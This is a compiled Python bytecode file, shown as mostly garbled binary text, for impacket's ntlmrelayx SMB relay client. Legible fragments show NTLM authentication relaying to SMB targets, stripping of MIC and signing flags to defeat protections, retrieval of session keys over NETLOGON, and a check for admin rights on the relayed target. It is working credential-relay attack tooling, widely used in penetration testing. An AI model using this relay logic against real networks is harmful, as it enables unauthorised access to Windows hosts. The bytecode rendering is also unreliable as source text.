o
    js                     @   s  d dl Z d dlZd dlmZmZ d dlmZmZ d dlm	Z
 d dlmZ d dlmZ d dlmZ d dlmZ d d	lmZ d d
lmZ d dlmZ d dlmZmZmZ d dlmZmZmZm Z m!Z!m"Z" d dl#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+m,Z, d dl-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z?m@Z@mAZAmBZB d dlCmDZDmEZE d dlmZmZmFZFmZm Z mGZGmHZH d dlImJZJmKZKmLZL d dlMmNZN d dlmOZO dZPG dd de$ZQG dd de.ZRG dd deZSdS )    N)	unhexlifyhexlify)unpackpack)error)DCERPCException)nrpc)	transport)NULL)LOG)ProtocolClient)KEEP_ALIVE_TIMER)STATUS_SUCCESSSTATUS_ACCESS_DENIEDSTATUS_LOGON_FAILURE)NTLMAuthNegotiateNTLMSSP_NEGOTIATE_ALWAYS_SIGNNTLMAuthChallengeNTLMAuthChallengeResponsegenerateEncryptedSessionKeyhmac_md5)	SMBNewSMBPacket
SMBCommand'SMBSessionSetupAndX_Extended_Parameters!SMBSessionSetupAndX_Extended_Data*SMBSessionSetupAndX_Extended_Response_Data0SMBSessionSetupAndX_Extended_Response_ParametersSMBSessionSetupAndX_DataSMBSessionSetupAndX_Parameters)SMB3SMB2_GLOBAL_CAP_ENCRYPTIONSMB2_DIALECT_WILDCARDSMB2Negotiate_ResponseSMB2_NEGOTIATESMB2NegotiateSMB2_DIALECT_002SMB2_DIALECT_21SMB2_DIALECT_30SMB2_GLOBAL_CAP_LEASING
SMB3PacketSMB2_GLOBAL_CAP_LARGE_MTU!SMB2_GLOBAL_CAP_DIRECTORY_LEASINGSMB2_GLOBAL_CAP_MULTI_CHANNEL"SMB2_GLOBAL_CAP_PERSISTENT_HANDLESSMB2_NEGOTIATE_SIGNING_REQUIRED
SMB2PacketSMB2SessionSetupSMB2_SESSION_SETUPSTATUS_MORE_PROCESSING_REQUIREDSMB2SessionSetup_Response)SMBConnectionSMB_DIALECT)r   r   NTLMSSP_NEGOTIATE_SIGNr   r   NTLMSSP_NEGOTIATE_KEY_EXCHNTLMSSP_NEGOTIATE_VERSION)SPNEGO_NegTokenInitSPNEGO_NegTokenResp	TypesMech)SMBTransport)scmrSMBRelayClientc                   @       e Zd ZdddZd	ddZdS )
MYSMB  TNc                 C   s    || _ tj| |||||d d S )N)	sess_portsession	negPacket)extendedSecurityr   __init__)self
remoteNamesessPortrF   
nmbSessionrE    rL   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/clients/smbrelayclient.pyrG   4   s   zMYSMB.__init__c                 C   s   t j| | j|dS )N)extended_securityrE   )r   neg_sessionrF   )rH   rE   rL   rL   rM   rO   8   s   zMYSMB.neg_session)rB   TNNN)__name__
__module____qualname__rG   rO   rL   rL   rL   rM   rA   3       
rA   c                   @   r@   )
MYSMB3rB   TNc              	   C   s&   || _ tj| ||||t||d d S )N)rC   rD   negSessionResponsepreferredDialect)rF   r    rG   r0   )rH   rI   rJ   rF   rK   rE   rW   rL   rL   rM   rG   <   s    zMYSMB3.__init__c           	      C   sR  d| j d< | jdu rtd d S t| j d< t}|d ur&t|d }|d }|tkrz|  }t|d< t	 }| j d |d	< | j d |d< | j
|d
< |d urR|g|d< ntttg|d< t|d |d< ||d< | |}| |}|trzt|d }td|d | j d< td|d | j d< td|d | j d< |d | j d< |d | j d< |d | j d< |d	 t@ tkrtd d S |d t@ tkrd| j d< |d t@ tkrd| j d< | j d tkr't| _|d t@ tkrd| j d< |d t@ tkrd| j d< |d t@ tkr	d| j d< |d t@ tkrd| j d< |d | j d< |d	 | j d< d S d S )Nr   ClientSecurityModeTzQSigning is required, attack won't work unless using -remove-target / --remove-micCapabilitiesDataDialectRevisionCommandSecurityMode
ClientGuidDialectsDialectCounti   MaxTransactSizeMaxReadSizeMaxWriteSize
ServerGuidBufferGSSNegotiateTokenDialectSupportsFileLeasingSupportsMultiCreditSupportsDirectoryLeasingSupportsMultiChannelSupportsPersistentHandlesSupportsEncryptionServerCapabilitiesServerSecurityMode)_ConnectionRequireMessageSigningr   r   r!   r"   r#   
SMB_PACKETr$   r%   r^   r&   r'   r(   lensendSMBrecvSMBisValidAnswerr   minr/   r)   r+   r*   r,   r-   r.   )	rH   rW   rV   currentDialectnegResppacket
negSessionpacketIDansrL   rL   rM   negotiateSession@   sf   














zMYSMB3.negotiateSession)rB   TNNN)NN)rQ   rR   rS   rG   r~   rL   rL   rL   rM   rU   ;   rT   rU   c                   @   s   e Zd ZdZd#ddZdd Zdd	 Zd
d Zdd Zdd Z	dd Z
dd Zdd Zdd Zd$ddZd$ddZd$ddZdd  Zd!d" ZdS )%r?   r   rB   Tc                 C   sF   t | |||| || _d | _d | _i | _d | _d | _d | _d| _	d S )N   )
r   rG   rF   machineAccountmachineHashessessionDatanegotiateMessagechallengeMessageserverChallengekeepAliveHits)rH   serverConfigtarget
targetPortrF   rL   rL   rM   rG      s   
zSMBRelayClient.__init__c              
   C   s  t d| jj  t }|| | jjd\}}|d d}z|d t	|d  }W n   t
 Y S d| jj }t|}t	| jjdkrR| jjd\}	}
nd	}	d	}
t|d
rd||d	||	|
 | }|  |tj t|t|d d}|d }| jjd	krd }nt| jjdd }td	d||}td|}t|t|d tjj|d |d tdtd|d d }t }d|d< |d |d< tj j!|d< tj"j#|d< tj"j#|d d< ||d d d d< d|d d d d< |d d|d d d d< d	|d d d d< | j$|d d d< |d |d d d < |d! |d d d"< t% }t|||d#< d|d$< ||d%< d&|d' d#< d|d' d$< d|d(< z|&|}W n/ t'y } z"t ( j)t j*krpdd l+}|,  t -t.| |/ W  Y d }~S d }~ww t d)||d df  |d* }|d+krt0|d, d- d. |}n|d, d- d. }t d/t1|d0  t2|fS )1Nz!Connecting to %s NETLOGON service/domain_namezutf-16ler   zncacn_np:%s[\PIPE\netlogon]r   : set_credentials s   12345678ServerChallengei`z<Q
   LogonServerComputerNameValidationLevel
LogonLevelLogonInformationtagLogonNetworkTransitiveIdentityLogonDomainNameParameterControl	user_nameUserNameWorkstationLmChallengentlmNtChallengeResponselanmanLmChallengeResponse
Credential	TimestampAuthenticators           ReturnAuthenticator
ExtraFlagsz-%s\%s successfully validated through NETLOGONsession_key    ValidationInformationValidationSam4UserSessionKeyzSMB Signing key: %s zutf-8)3logginginfor   domainIpr   
fromStringr   splitdecoders   r   r	   DCERPCTransportFactoryr   hasattrr   get_dce_rpcconnectbindr   MSRPC_UUID_NRPChNetrServerReqChallenger
   r   ComputeSessionKeyStrongKeyComputeNetlogonCredentialhNetrServerAuthenticate3NETLOGON_SECURE_CHANNEL_TYPEWorkstationSecureChannelr   r   NetrLogonSamLogonWithFlagsNETLOGON_VALIDATION_INFO_CLASSNetlogonValidationSamInfo4NETLOGON_LOGON_INFO_CLASS$NetlogonNetworkTransitiveInformationr   NETLOGON_AUTHENTICATORrequestr   	getLoggerlevelDEBUG	traceback	print_excr   strget_error_coder   r   r   )rH   authenticateMessageBlobauthenticateMessage_r   
domainName
serverNamestringBindingrpctransportlmhashnthashdcerespr   ntHash
sessionKeypppclientStoredCredentialr   authenticatorer   encryptedSessionKey
signingKeyrL   rL   rM   netlogonSessionKey   s   



z!SMBRelayClient.netlogonSessionKeyc                 C   sB   | j dt kr| jd}| j| d| _ d S |  j d7  _ d S )N   zIPC$r   )r   r   rD   connectTreedisconnectTree)rH   tidrL   rL   rM   	keepAlive   s
   
zSMBRelayClient.keepAlivec                 C   s"   | j d ur| j   d | _ d S d S rP   )rD   closerH   rL   rL   rM   killConnection  s   


zSMBRelayClient.killConnectionc                 C   sN  t | j| j| jdd| _| jjdu rd}nd}| jdu r&tjtj	B tj
B }ntj	tj
B }z| jjd | j| j| jd| jtjtjB ||d	}W n" tyg } z| jjsWtd ntd W Y d }~d	S d }~ww |d
d dkrd }| jjrxt}t| j| j| j| j ||d}nt| j| j| j| j |d}t | j| j| j|dd| _dS )NT)rC   manualNegotiatez"NT LM 0.12 SMB 2.002 SMB 2.??? zNT LM 0.12 <   )flags1flags2datazwSMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2supportz%SMBClient error: Connection was resetFr   r      )rK   rE   rW   )rK   rE   )rC   existingConnectionr   )r5   
targetHostr   rD   r   smb2supportrF   r   FLAGS2_EXTENDED_SECURITYFLAGS2_NT_STATUSFLAGS2_LONG_NAMESnegotiateSessionWildcardFLAGS1_PATHCASELESSFLAGS1_CANONICALIZED_PATHS	Exceptionr   r   remove_targetr'   rU   getNMBServerrA   )rH   r   r   rz   r   rW   	smbClientrL   rL   rM   initConnection  sB   



zSMBRelayClient.initConnectionc                 C   s
   || _ d S rP   )_uid)rH   uidrL   rL   rM   setUid2  s   
zSMBRelayClient.setUidc                 C   s   t  }|| | jjrL|d t@ tkr|d  tN  < |d t@ tkr,|d  tN  < |d t@ tkr<|d  tN  < |d t@ tkrL|d  tN  < | }t	 }| j
 tkrc|| | n|| | || _| | _|| jd< |d | _|S )NflagsCHALLENGE_MESSAGE	challenge)r   r   r   
remove_micr7   r   r8   r9   getDatar   rD   
getDialectr6   sendNegotiatev1sendNegotiatev2r   r   r   r   )rH   r   negoMessager  rL   rL   rM   sendNegotiate5  s*   



zSMBRelayClient.sendNegotiatec                 C   s   | j  }t }d|d< t||d< ||d< | }t|d< ||d< ||}||}|t	rB|d |j
d< t|d }|d S dS )	Nr   FlagsSecurityBufferLengthre   r\   rZ   	SessionIDF)rD   getSMBServerr1   rs   rr   r2   rt   ru   rv   r3   _Sessionr4   )rH   r   v2clientsessionSetuprz   r|   r}   sessionSetupResponserL   rL   rM   r  T  s   



zSMBRelayClient.sendNegotiatev2c           	      C   s  | j  }t }tj|d< tj|d< | r|d  tjO  < | d }|j	|tj
 @ d ttj}t |d< t |d< d|d d< d	|d d
< d|d d< d|d d< tjtjB tjB |d d< t||d d< |d   ||d d< d|d d< d|d d< || || | }z|tj W n ty   td  w ||d  t|d d }t|d }t|d d}|d |d< ||d  |d S )NFlags1Flags2r   r   
ParametersrZ     MaxBufferSize   MaxMpxCountVcNumberr   
SessionKeyrY   SecurityBlobLengthSecurityBlobUnixNativeOSSambaNativeLanManzSessionSetup Error!Uid)r  )rD   r  r   r   r   r   is_signing_requiredFLAGS2_SMB_SECURITY_SIGNATURE	get_flags	set_flagsFLAGS2_UNICODEr   SMB_COM_SESSION_SETUP_ANDXr   r   CAP_EXTENDED_SECURITYCAP_USE_NT_ERRORSCAP_UNICODErs   r  
addCommandrt   ru   rv   r   r   r   set_uidr   r   r   )	rH   r   v1clientsmbr   r  sessionResponsesessionParametersr   rL   rL   rM   r  j  sJ   








zSMBRelayClient.sendNegotiatev1c                 C   s  | j  }| d }|j|tj @ d |d dkrt }d|d< ttj}t	 |d< t
 |d< d	|d d
< d|d d< t |d d< |jd |d d< t|d |d d< t|d |d d< tj|d d< |d |d d< |d |d d< |d |d d< |d |d d< d|d d< d|d d< || || | }z|tj W n	   d tf Y S ||d  |tfS d }t}||fS )Nr   r  Accountr      r  r  rZ   r  	MaxBufferr  r  VCNumberr  AnsiPwdAnsiPwdLength
UnicodePwdUnicodePwdLengthrY   PrimaryDomainr  r   r!  r"  r#  )rD   r  r&  r'  r   r   r   r   r)  r   r   osgetpid_dialects_parametersrs   CAP_RAW_MODEr-  rt   ru   rv   r   r.  r   r   )rH   sessionSetupDatar/  r   r0  r  clientResponse	errorCoderL   rL   rM   sendStandardSecurityAuth  sD   





z'SMBRelayClient.sendStandardSecurityAuthNc                 C   s  | j jr`t }|| |d t@ tkr|d  tN  < |d t@ tkr,|d  tN  < |d t@ tkr<|d  tN  < |d t@ tkrL|d  tN  < d|d< d|d< d|d< d|d< | }|}d }| j j	r|}| 
|\}}t }|| |dd d	 |d
d   }t|| j| j | }	t }
|dd |	 |d
d   |
d< |dd |	 |d
d   }| j tkr| ||\}}n| ||\}}|rtd | jj| ||fS )Nr  r   MICr   MICLenVersion
VersionLenH   s                   X   ResponseTokenzEnabling session signing)r   r  r   r   r7   r   r8   r9   r  r   r   r   r   r   r;   rD   r  r6   
sendAuthv1
sendAuthv2r   r   _SMBConnectionset_session_key)rH   r   r   authMessageauthDatar   rB  resnewAuthBlob	relay_MIC
respToken2tokenrL   rL   rM   sendAuth  sF   

 
zSMBRelayClient.sendAuthc           	      C   s   t d|d d d tjkrt|}|d }n|}| j }t }d|d< | }t|d< ||d< t||d< ||d	< |	|}|
|}||d
 fS )NBr   r   rJ  r  r\   rZ   r  re   Status)r   r;   SPNEGO_NEG_TOKEN_RESPrD   r  r1   rr   r2   rs   rt   ru   )	rH   r   r   	respTokenrP  r  r  rz   r|   rL   rL   rM   rL    s   



zSMBRelayClient.sendAuthv2c           	      C   sj  t d|d d d tjkrt|}|d }n|}| j }t }tj|d< tjtj	B |d< |
 r;|d  tjO  < | |d< ttj}t |d< t |d	< d
|d d< d|d d< d|d d< d|d d< tjtjB tjB |d d< d|d	 d< d|d	 d< t||d d< ||d	 d< || || | }|d d> }||d d> 7 }||d 7 }||fS )NrW  r   r   rJ  r  r  r#  r  rZ   r  r  r  r  r  r  rY   r  r   r!  r"  r  r  	ErrorCode   	_reservedr4  
ErrorClass)r   r;   rY  rD   r  r   r   r   r   r(  r$  r%  get_uidr   r)  r   r   r*  r+  r,  rs   r-  rt   ru   )	rH   r   r   rZ  rP  r/  r0  r  rB  rL   rL   rM   rK  /  s<   







zSMBRelayClient.sendAuthv1c                 C   s    | j  tkr| j   S d S rP   )rD   r  r6   r  get_encryption_keyr   rL   rL   rM   getStandardSecurityChallenge\  s   z+SMBRelayClient.getStandardSecurityChallengec              
   C   s   t | j dd| jd}| }z|  W n   Y dS |tj zt|d	| j
jdd}W dS  tjyG } zW Y d }~dS d }~ww )	NrB   z\svcctl)smb_connectionz{} zServicesActive i?  TRUEFALSE)r=   rD   getRemoteHostr   r   r   r>   MSRPC_UUID_SCMRhROpenSCManagerWformatr   hostnamer   )rH   r   r   r}   r   rL   rL   rM   isAdminb  s    

zSMBRelayClient.isAdmin)rB   TrP   )rQ   rR   rS   PLUGIN_NAMErG   r   r   r   r   r   r
  r  r  rC  rV  rL  rK  ra  rj  rL   rL   rL   rM   r?      s"    
g'C
-
;
-)Tr   r<  binasciir   r   structr   r   socketr   socketerrorimpacket.dcerpc.v5.rpcrtr   impacket.dcerpc.v5r   r	   impacket.dcerpc.v5.ndrr
   impacketr   $impacket.examples.ntlmrelayx.clientsr   0impacket.examples.ntlmrelayx.servers.socksserverr   impacket.nt_errorsr   r   r   impacket.ntlmr   r   r   r   r   r   impacket.smbr   r   r   r   r   r   r   r   r   impacket.smb3r    r!   r"   r#   r$   r%   r&   r'   r(   r)   r*   r+   r,   r-   r.   r/   r0   r1   r2   r3   r4   impacket.smbconnectionr5   r6   r7   r8   r9   impacket.spnegor:   r;   r<   impacket.dcerpc.v5.transportr=   r>   PROTOCOL_CLIENT_CLASSrA   rU   r?   rL   rL   rL   rM   <module>   s2    ,\$I